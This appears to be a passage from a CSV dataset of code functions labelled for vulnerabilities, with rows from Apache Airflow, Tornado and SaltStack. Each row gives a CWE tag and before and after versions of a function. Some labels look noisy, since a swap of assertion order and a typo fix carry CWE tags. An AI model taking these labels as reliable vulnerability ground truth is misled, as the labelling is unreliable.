,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_monitor.py,1,"def test_healthy_scheduler_status(self, test_client, session):
        last_scheduler_heartbeat_for_testing_1 = timezone.utcnow()
        job = Job(state=State.RUNNING, latest_heartbeat=last_scheduler_heartbeat_for_testing_1)
        SchedulerJobRunner(job=job)
        session.add(job)
        session.commit()
        response = test_client.get(""/public/monitor/health"")

        assert response.status_code == 200
        body = response.json()

        assert body[""metadatabase""][""status""] == ""healthy""
        assert body[""scheduler""][""status""] == ""healthy""
        assert (
            last_scheduler_heartbeat_for_testing_1.isoformat()
            == body[""scheduler""][""latest_scheduler_heartbeat""]
        )",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_healthy_scheduler_status(self, test_client, session):
        last_scheduler_heartbeat_for_testing_1 = timezone.utcnow()
        job = Job(state=State.RUNNING, latest_heartbeat=last_scheduler_heartbeat_for_testing_1)
        SchedulerJobRunner(job=job)
        session.add(job)
        session.commit()
        response = test_client.get(""/public/monitor/health"")

        assert response.status_code == 200
        body = response.json()

        assert ""healthy"" == body[""metadatabase""][""status""]
        assert ""healthy"" == body[""scheduler""][""status""]
        assert (
            last_scheduler_heartbeat_for_testing_1.isoformat()
            == body[""scheduler""][""latest_scheduler_heartbeat""]
        )"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/escape.py,0,"def json_encode(value):
    """"""JSON-encodes the given Python object.""""""
    # JSON permits but does not require forward slashes to be escaped.
    # This is useful when json data is emitted in a <script> tag
    # in HTML, as it prevents </script> tags from prematurely terminating
    # the javascript.  Some json libraries do this escaping by default,
    # although python's standard library does not, so we do it here.
    # http://stackoverflow.com/questions/1580647/json-why-are-forward-slashes-escaped
    return json.dumps(value).replace(""</"", ""<\\/"")",CWE-Unknown,tornadoweb/tornado,012eff38a0afe47415c721efe46e531ed1fb3ad0,"def json_encode(value):
    """"""JSON-encodes the given Python object.""""""
    # JSON permits but does not require forward slashes to be escaped.
    # This is useful when json data is emitted in a <script> tag
    # in HTML, as it prevents </script> tags from prematurely terminating
    # the javscript.  Some json libraries do this escaping by default,
    # although python's standard library does not, so we do it here.
    # http://stackoverflow.com/questions/1580647/json-why-are-forward-slashes-escaped
    return json.dumps(value).replace(""</"", ""<\\/"")"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - tar_options: --strip-components=1

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    source_is_local = urlparsed_source.scheme in ('', 'file')
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = urlparsed_source.path
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(source_match)
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    if source_is_local:
        cached_source = source_match
    else:
        cached_source = os.path.join(
            __opts__['cachedir'],
            'files',
            __env__,
            re.sub(r'[:/\\]', '_', source_hash_basename),
        )

        if os.path.isdir(cached_source):
            # Prevent a traceback from attempting to read from a directory path
            salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not source_is_local and not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __states__['file.managed'](cached_source,
                                                 source=source_match,
                                                 source_hash=source_hash,
                                                 source_hash_name=source_hash_name,
                                                 makedirs=True,
                                                 skip_verify=skip_verify,
                                                 env=__env__)

        log.debug('file.managed: {0}'.format(file_result))

        # Prevent a traceback if errors prevented the above state from getting
        # off the ground.
        if isinstance(file_result, list):
            try:
                ret['comment'] = '\n'.join(file_result)
            except TypeError:
                ret['comment'] = '\n'.join([str(x) for x in file_result])
            return ret

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = overwrite

    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
